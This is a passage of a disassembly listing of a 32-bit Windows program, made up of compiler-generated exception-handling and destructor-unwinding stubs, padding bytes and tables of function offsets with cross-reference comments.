		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B6A4:				; DATA XREF: ___:00425BD2o
		mov	eax, offset dword_441928
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426450	proc near		; DATA XREF: sub_426450+2o
		mov	eax, offset dword_441A08
		jmp	sub_4367C8
SEH_426450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B708:				; DATA XREF: ___:00441A64o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4264C0	proc near		; DATA XREF: sub_4264C0+2o
		mov	eax, offset dword_441A38
		jmp	sub_4367C8
SEH_4264C0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B758:				; DATA XREF: ___:00441AB4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллл',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset byte_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset byte_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418290+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset byte_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset byte_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
